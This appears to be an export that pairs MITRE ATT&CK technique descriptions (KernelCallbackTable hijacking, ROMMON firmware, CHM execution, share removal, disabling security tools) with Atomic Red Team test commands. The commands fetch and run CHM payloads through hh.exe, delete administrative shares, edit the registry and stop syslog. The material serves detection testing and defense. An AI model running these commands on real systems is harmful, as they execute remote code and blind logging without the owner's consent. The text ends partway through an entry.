identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' - 'Service: Service Metadata' x_mitre_effective_permissions: - SYSTEM - Administrator - User x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd created: '2020-03-12T20:43:53.998Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/010 external_id: T1574.010 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' atomic_tests: [] T1574.013: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde type: attack-pattern created: '2022-02-25T15:27:44.927Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1574.013 url: https://attack.mitre.org/techniques/T1574/013 - source_name: Lazarus APT January 2022 url: https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/ description: Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022. - source_name: 'FinFisher exposed ' url: https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/ description: 'Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022.' - source_name: Windows Process Injection KernelCallbackTable url: https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/ description: 'odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022.' - source_name: NtQueryInformationProcess url: https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess description: Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022. modified: '2022-05-11T14:00:00.188Z' name: KernelCallbackTable description: |- Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable) An adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process. A pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022) The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior. Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1542.004: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc type: attack-pattern created: '2020-10-20T00:05:48.790Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1542.004 url: https://attack.mitre.org/techniques/T1542/004 - source_name: Cisco Synful Knock Evolution url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. - source_name: Cisco Blog Legacy Device Attacks url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. modified: '2021-04-29T14:49:39.188Z' name: ROMMONkit description: |- Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks) ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Firmware: Firmware Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1218.001: technique: modified: '2023-10-18T16:31:56.936Z' name: 'Signed Binary Proxy Execution: Compiled HTML File' description: |- Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International x_mitre_deprecated: false x_mitre_detection: |- Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. Monitor presence and use of CHM files, especially if they are not typically used within an environment. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '2.1' x_mitre_data_sources: - 'File: File Creation' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_defense_bypassed: - Digital Certificate Validation - Application control type: attack-pattern id: attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d created: '2020-01-23T18:53:54.377Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1218/001 external_id: T1218.001 - source_name: Microsoft CVE-2017-8625 Aug 2017 description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018. url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625 - source_name: Microsoft HTML Help May 2018 description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018. url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk - source_name: Microsoft HTML Help Executable Program description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018. url: https://msdn.microsoft.com/windows/desktop/ms524405 - source_name: Microsoft HTML Help ActiveX description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018. url: https://msdn.microsoft.com/windows/desktop/ms644670 - source_name: MsitPros CHM Aug 2017 description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018. url: https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1218.001 atomic_tests: - name: Compiled HTML Help Local Payload auto_generated_guid: 5cb87818-0d7c-4469-b7ef-9224107aebe8 description: | Uses hh.exe to execute a local compiled HTML Help payload. Upon execution calc.exe will open supported_platforms: - windows input_arguments: local_chm_file: description: Local .chm payload type: path default: PathToAtomicsFolder\T1218.001\src\T1218.001.chm dependency_executor_name: powershell dependencies: - description: 'The payload must exist on disk at specified location (#{local_chm_file}) ' prereq_command: 'if (Test-Path "#{local_chm_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{local_chm_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}" executor: command: 'hh.exe "#{local_chm_file}" ' name: command_prompt - name: Compiled HTML Help Remote Payload auto_generated_guid: 0f8af516-9818-4172-922b-42986ef1e81d description: | Uses hh.exe to execute a remote compiled HTML Help payload. Upon execution displays an error saying the file cannot be open supported_platforms: - windows input_arguments: remote_chm_file: description: Remote .chm payload type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.001/src/T1218.001.chm executor: command: 'hh.exe #{remote_chm_file} ' name: command_prompt - name: Invoke CHM with default Shortcut Command Execution auto_generated_guid: 29d6f0d7-be63-4482-8827-ea77126c1ef7 description: Executes a CHM file with the default Shortcut Command method. supported_platforms: - windows input_arguments: chm_file_path: description: Default path of CHM type: string default: Test.chm hh_file_path: description: path of modified HH.exe type: path default: "$env:windir\\hh.exe" dependencies: - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}' name: powershell - name: Invoke CHM with InfoTech Storage Protocol Handler auto_generated_guid: b4094750-5fc7-4e8e-af12-b4e36bf5e7f6 description: Executes a CHM file with the ITS protocol handler. supported_platforms: - windows input_arguments: hh_file_path: description: path of modified HH.exe type: path default: "$env:windir\\hh.exe" infotech_storage_handler: description: Default InfoTech Storage Protocol Handler type: string default: its chm_file_path: description: Default path of CHM type: string default: Test.chm dependencies: - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}' name: powershell - name: Invoke CHM Simulate Double click auto_generated_guid: 5decef42-92b8-4a93-9eb2-877ddcb9401a description: Executes a CHM file simulating a user double click. supported_platforms: - windows input_arguments: chm_file_path: description: Default path of CHM type: string default: Test.chm dependencies: - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}' name: powershell - name: Invoke CHM with Script Engine and Help Topic auto_generated_guid: 4f83adda-f5ec-406d-b318-9773c9ca92e5 description: Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension. supported_platforms: - windows input_arguments: topic_extension: description: Default Help Topic type: string default: html hh_file_path: description: path of modified HH.exe type: path default: "$env:windir\\hh.exe" infotech_storage_handler: description: Default InfoTech Storage Protocol Handler type: string default: its script_engine: description: Default Script Engine type: string default: JScript chm_file_path: description: Default path of CHM type: string default: Test.chm dependencies: - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}' name: powershell - name: Invoke CHM Shortcut Command with ITS and Help Topic auto_generated_guid: 15756147-7470-4a83-87fb-bb5662526247 description: Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension. supported_platforms: - windows input_arguments: topic_extension: description: Default Help Topic type: string default: html hh_file_path: description: path of modified HH.exe type: path default: "$env:windir\\hh.exe" infotech_storage_handler: description: Default InfoTech Storage Protocol Handler type: string default: its chm_file_path: description: Default path of CHM type: string default: Test.chm dependencies: - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}' name: powershell - name: Decompile Local CHM File auto_generated_guid: 20cb05e0-1fa5-406d-92c1-84da4ba01813 description: | Uses hh.exe to decompile a local compiled HTML Help file. Upon successful execution the chm file will decompile to disk. Reference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/ supported_platforms: - windows input_arguments: local_chm_file: description: Local .chm payload type: path default: PathToAtomicsFolder\T1218.001\src\T1218.001.chm dependency_executor_name: powershell dependencies: - description: 'The payload must exist on disk at specified location (#{local_chm_file}) ' prereq_command: 'if (Test-Path "#{local_chm_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{local_chm_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}" executor: command: 'hh.exe -decompile %temp% "#{local_chm_file}" ' cleanup_command: 'del %temp%\T1218.001.html >nul 2>&1 ' name: command_prompt T1070.005: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Indicator Removal on Host: Network Share Connection Removal' description: 'Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Command: Command Execution' - 'Process: Process Creation' - 'User Account: User Account Authentication' x_mitre_defense_bypassed: - Host forensic analysis x_mitre_system_requirements: - Established network share connection to a remote system. Level of access depends on permissions of the account used. type: attack-pattern id: attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c created: '2020-01-31T12:39:18.816Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1070/005 external_id: T1070.005 - source_name: Technet Net Use description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016. url: https://technet.microsoft.com/bb490717.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1070.005 atomic_tests: - name: Add Network Share auto_generated_guid: 14c38f32-6509-46d8-ab43-d53e32d2b131 description: 'Add a Network Share utilizing the command_prompt ' supported_platforms: - windows input_arguments: share_name: description: Share to add. type: string default: "\\\\test\\share" executor: command: | net use c: #{share_name} net share test=#{share_name} /REMARK:"test share" /CACHE:No name: command_prompt - name: Remove Network Share auto_generated_guid: '09210ad5-1ef2-4077-9ad3-7351e13e9222' description: 'Removes a Network Share utilizing the command_prompt ' supported_platforms: - windows input_arguments: share_name: description: Share to remove. type: string default: "\\\\test\\share" executor: command: 'net share #{share_name} /delete ' name: command_prompt - name: Remove Network Share PowerShell auto_generated_guid: 0512d214-9512-4d22-bde7-f37e058259b3 description: 'Removes a Network Share utilizing PowerShell ' supported_platforms: - windows input_arguments: share_name: description: Share to remove. type: string default: "\\\\test\\share" executor: command: | Remove-SmbShare -Name #{share_name} Remove-FileShare -Name #{share_name} name: powershell - name: Disable Administrative Share Creation at Startup auto_generated_guid: 99c657aa-ebeb-4179-a665-69288fdd12b8 description: "Administrative shares are hidden network shares created by Microsoft’s Windows NT operating systems that grant system administrators \nremote access to every disk volume on a network-connected system. These shares are automatically created at started unless they have been\npurposefully disabled as is done in this Atomic test. As Microsoft puts it, \"Missing administrative shares typically \nindicate that the computer in question has been compromised by malicious software.\"\nhttps://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/\n" supported_platforms: - windows executor: command: | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f cleanup_command: | reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /f reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /f name: command_prompt elevation_required: true - name: Remove Administrative Shares auto_generated_guid: 4299eff5-90f1-4446-b2f3-7f4f5cfd5d62 description: "Administrative shares are hidden network shares created by Microsoft’s Windows NT operating systems that grant system administrators \nremote access to every disk volume on a network-connected system. As Microsoft puts it, “Missing administrative shares typically \nindicate that the computer in question has been compromised by malicious software.\nhttps://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/\n" supported_platforms: - windows executor: command: for %i in (C$ IPC$ ADMIN$) do net share %i /delete cleanup_command: | net share ADMIN$ /UNLIMITED >nul 2>&1 net share C$=C:\ >nul 2>&1 net share IPC$ >nul 2>&1 name: command_prompt elevation_required: true T1562.001: technique: modified: '2024-04-12T21:13:46.640Z' name: 'Impair Defenses: Disable or Modify Tools' description: "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) \n\nAdversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Gordon Long, Box, Inc., @ethicalhax - Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security - Nathaniel Quist, Palo Alto Networks - Gal Singer, @galsinger29, Team Nautilus Aqua Security - Daniel Feichter, @VirtualAllocEx, Infosec Tirol - Cian Heasley - Alex Soler, AttackIQ - Sarathkumar Rajendran, Microsoft Defender365 - Lucas Heiligenstein x_mitre_deprecated: false x_mitre_detection: |- Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity. Lack of expected log events may be suspicious. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - macOS - Linux - Containers - IaaS - Network x_mitre_version: '1.5' x_mitre_data_sources: - 'Sensor Health: Host Status' - 'Process: Process Termination' - 'Process: Process Creation' - 'Service: Service Metadata' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Deletion' - 'Driver: Driver Load' x_mitre_defense_bypassed: - Anti-virus - Log analysis - Signature-based detection - Host intrusion prevention systems - File monitoring type: attack-pattern id: attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579 created: '2020-02-21T20:32:20.810Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/001 external_id: T1562.001 - source_name: Analysis of FG-IR-22-369 description: " Guillaume Lovet and Alex Kong. (2023, March 9). Analysis of FG-IR-22-369. Retrieved May 15, 2023." url: https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis - source_name: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation description: ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023. url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem - source_name: OutFlank System Calls description: 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.' url: https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ - source_name: disable_win_evt_logging description: 'Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.' url: https://ptylu.github.io/content/report/report.html?report=25 - source_name: chasing_avaddon_ransomware description: 'Hernandez, A. S. Tarter, P. Ocamp, E. J. (2022, January 19). One Source to Rule Them All: Chasing AVADDON Ransomware. Retrieved January 26, 2022.' url: https://www.mandiant.com/resources/chasing-avaddon-ransomware - source_name: doppelpaymer_crowdstrike description: 'Hurley, S. (2021, December 7). Critical Hit: How DoppelPaymer Hunts and Kills Windows Processes. Retrieved January 26, 2022.' url: https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/ - source_name: avoslocker_ransomware description: Lakshmanan, R. (2022, May 2). AvosLocker Ransomware Variant Using New Trick to Disable Antivirus Protection. Retrieved May 17, 2022. url: https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html - source_name: dharma_ransomware description: Loui, E. Scheuerman, K. et al. (2020, April 16). Targeted Dharma Ransomware Intrusions Exhibit Consistent Techniques. Retrieved January 26, 2022. url: https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/ - source_name: MDSec System Calls description: MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021. url: https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/ - source_name: SCADAfence_ransomware description: Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware Attack. Retrieved June 18, 2022. url: https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf - source_name: demystifying_ryuk description: Tran, T. (2020, November 24). Demystifying Ransomware Attacks Against Microsoft Defender Solution. Retrieved January 26, 2022. url: https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1562.001 atomic_tests: - name: Disable syslog auto_generated_guid: 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8 description: 'Disables syslog collection ' supported_platforms: - linux input_arguments: package_checker: description: Package checking command for linux. type: string default: "(rpm -q rsyslog 2>&1 >/dev/null) || (dpkg -s rsyslog | grep -q installed)" package_installer: description: Package installer command for linux. Default yum type: string default: "(which yum && yum -y install epel-release rsyslog)||(which apt-get && apt-get install -y rsyslog)" flavor_command: description: Command to disable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog type: string default: systemctl stop rsyslog ; systemctl disable rsyslog cleanup_command: description: Command to enable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog start ; chkconfig rsyslog on type: string default: systemctl start rsyslog ; systemctl enable rsyslog dependency_executor_name: sh dependencies: - description: 'Package with rsyslog must be on system ' prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit 1; fi ' get_prereq_command: "sudo #{package_installer} \n" executor: command: "#{flavor_command}\n" cleanup_command: "#{cleanup_command}\n" name: sh elevation_required: true - name: Disable syslog (freebsd) auto_generated_guid: db9de996-441e-4ae0-947b-61b6871e2fdf description: 